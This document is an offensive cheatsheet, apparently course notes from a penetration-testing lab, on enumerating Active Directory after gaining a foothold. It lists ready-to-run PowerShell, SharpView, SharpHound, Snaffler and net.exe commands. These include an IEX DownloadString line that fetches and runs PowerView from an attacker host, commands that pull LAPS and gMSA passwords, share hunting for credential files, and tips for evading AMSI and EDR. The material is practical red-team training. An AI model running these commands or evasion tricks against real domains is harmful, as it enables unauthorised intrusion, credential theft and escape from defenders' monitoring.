On a Windows foothold you have two routes: the Microsoft-signed ActiveDirectory module (stealthier, blends with admin activity) or the offensive toolkits (PowerView, SharpHound, Snaffler). Mix both — signed cmdlets for recon, offensive tools when you need depth.
Stealth preference
Signed binaries (
Get-ADUser,dsquery,net.exe) blend into normal admin traffic. DroppingPowerView.ps1triggers AMSI/script block logging. Use the native module first unless you need PowerView-specific features.
AD PowerShell Module
Ships with RSAT or already loaded on DCs/jump hosts.
Import-Module ActiveDirectory
Get-Module # confirm it loaded
Get-ADDomain # basic domain info
Get-ADForest # forest-wide
Get-ADDomainController -Filter *Users, Groups, Computers
# All users (minimal props)
Get-ADUser -Filter * -Properties * | Select SamAccountName,Enabled,LastLogonDate
# Service accounts (any user with an SPN)
Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
# AS-REP roastable (DONT_REQ_PREAUTH)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
# Password never expires
Get-ADUser -Filter {PasswordNeverExpires -eq $true} -Properties PasswordNeverExpires
# Groups + members
Get-ADGroup -Filter * | Select Name
Get-ADGroupMember -Identity "Domain Admins" -Recursive
Get-ADGroup -Identity "Backup Operators" -Properties *
# Computers
Get-ADComputer -Filter * -Properties OperatingSystem,LastLogonDateTrusts
Get-ADTrust -Filter *Child-to-parent and cross-forest trusts matter for escalation paths.
PowerView
Load from memory to avoid disk writes.
IEX (New-Object Net.WebClient).DownloadString('http://<attacker>/PowerView.ps1')
# or local
. .\PowerView.ps1Core Queries
Get-Domain
Get-DomainController
Get-DomainUser -Identity mmorgan | Select name,memberof,pwdlastset,useraccountcontrol
Get-DomainUser -SPN -Properties samaccountname,servicePrincipalName # Kerberoast targets
Get-DomainUser -PreauthNotRequired # AS-REP targets
Get-DomainGroup "Domain Admins"
Get-DomainGroupMember "Domain Admins" -Recurse
Get-DomainComputer -Properties dnshostname,operatingsystem
Get-DomainOU
Get-DomainGPO | Select displayname,gpcfilesyspath
Get-DomainTrust
Get-DomainTrustMapping # recurse all trustsHunting Access
Find-LocalAdminAccess # where current user is local admin
Find-DomainUserLocation -UserIdentity targetuser # where a user is logged on
Find-DomainShare -CheckShareAccess # reachable shares
Find-InterestingDomainShareFile -Include *password*,*.kdbx,*.config
Find-InterestingDomainAcl -ResolveGUIDs # dangerous ACLsAMSI
PowerView.ps1is heavily flagged. Use SharpView (compiled), an AMSI bypass, or stick to the AD module for low-risk work.
SharpView
C# port — binary, no .ps1 logging, works under execution policy restrictions.
SharpView.exe Get-DomainUser -Identity forend
SharpView.exe Get-DomainGroupMember -Identity "Domain Admins" -Recurse
SharpView.exe Find-LocalAdminAccessSharpHound Collection
Core graph-building step. Ingest the resulting zip into BloodHound.
# Standard — all collection methods
.\SharpHound.exe -c All --zipfilename ILFreight
# Add session/loggedon data (needs admin for best coverage)
.\SharpHound.exe -c All,LoggedOn,Session --zipfilename ILFreight_full
# Loop sessions over time to catch admins
.\SharpHound.exe -c Session --loop --loopduration 02:00:00Transfer the zip to your analysis box, drop into the BloodHound GUI.
Snaffler — Share Hunting
Walks every readable SMB share in the domain, surfaces files matching credential/secret patterns.
Snaffler.exe -s -d inlanefreight.local -o snaffler.log -v data| Flag | Purpose |
|---|---|
-s | Print results to console |
-d <domain> | Target domain |
-o <file> | Log everything to disk |
-v data | Verbosity — data shows only hits |
Red ([R]) matches are the ones to review first: passwords, .kdbx, private keys, unattend files.
PingCastle — Posture & Low-Hanging Fruit
Not quite an attack tool, but invaluable for spotting the obvious wins (ancient trust configs, Kerberos RC4, inactive admins, NTLMv1 enabled).
PingCastle.exe --healthcheck --server inlanefreight.localReview the HTML report — look for anomalies, AD risks, and trusts.
LAPS Retrieval
If LAPS is deployed and you can read the attribute, every host’s local admin password is available.
# Which computers have a readable LAPS password
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd,ms-Mcs-AdmPwdExpirationTime |
Where-Object {$_."ms-Mcs-AdmPwd" -ne $null} |
Select Name,ms-Mcs-AdmPwd
# Single target
Get-ADComputer -Identity WS01 -Properties ms-Mcs-AdmPwd | Select Name,ms-Mcs-AdmPwdNewer Windows LAPS stores to msLAPS-Password (JSON):
Get-ADComputer -Identity WS01 -Properties msLAPS-Password | Select -ExpandProperty msLAPS-PasswordFrom Linux:
netexec ldap <DC> -u <U> -p <P> -M lapsgMSA Password Retrieval
Group Managed Service Accounts store their password in msDS-ManagedPassword. If your principal is in PrincipalsAllowedToRetrieveManagedPassword, you can pull it.
# Enumerate gMSAs and who can read them
Get-ADServiceAccount -Filter * -Properties PrincipalsAllowedToRetrieveManagedPassword |
Select Name,PrincipalsAllowedToRetrieveManagedPassword
# Retrieve blob and derive NTLM hash
$gmsa = Get-ADServiceAccount -Identity gmsa_svc -Properties msDS-ManagedPassword
$blob = ConvertFrom-ADManagedPasswordBlob $gmsa.'msDS-ManagedPassword'
$blob.SecureCurrentPasswordFrom Linux: gMSADumper.py -u <U> -p <P> -d <domain>.
net.exe / LOLBins (Low-Noise Recon)
When tooling is blocked, built-ins get the job done.
net user /domain
net user <target> /domain
net group "Domain Admins" /domain
net group "Domain Controllers" /domain
net accounts /domain :: password policy
net localgroup Administrators
net view /domaindsquery (requires RSAT / elevated on DC):
dsquery user
dsquery computer
dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -attr sAMAccountName # DCs
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName # PASSWD_NOTREQDnet1 bypass
Some EDR signatures hook
net.exeon string. Runningnet1executes the same binary and may dodge weak detections.
Workflow
- Confirm foothold and current user context:
whoami /all,klist. - Load AD module or SharpView — do quick queries first.
- Run SharpHound with
-c Allearly; let it finish while you dig. - Check LAPS/gMSA readable attributes on your current principal.
- Snaffle the shares in the background.
- Review BloodHound paths — find the shortest route to Domain Admin or your objective.
Related
- 19 · Active Directory Enumeration & Attacks — module index
- 00 · Cheatsheet & Checklist
- AD Fundamentals
- Core Protocols
- External Recon & Initial Enumeration
- LLMNR & NBT-NS Poisoning
- Password Policy & User Lists
- Password Spraying
- Credentialed Enumeration (Linux)
- Kerberoasting & AS-REP Roasting
- ACL Abuse
- Lateral Movement & Attacks
- Trust Abuse
- Hardening & Detection
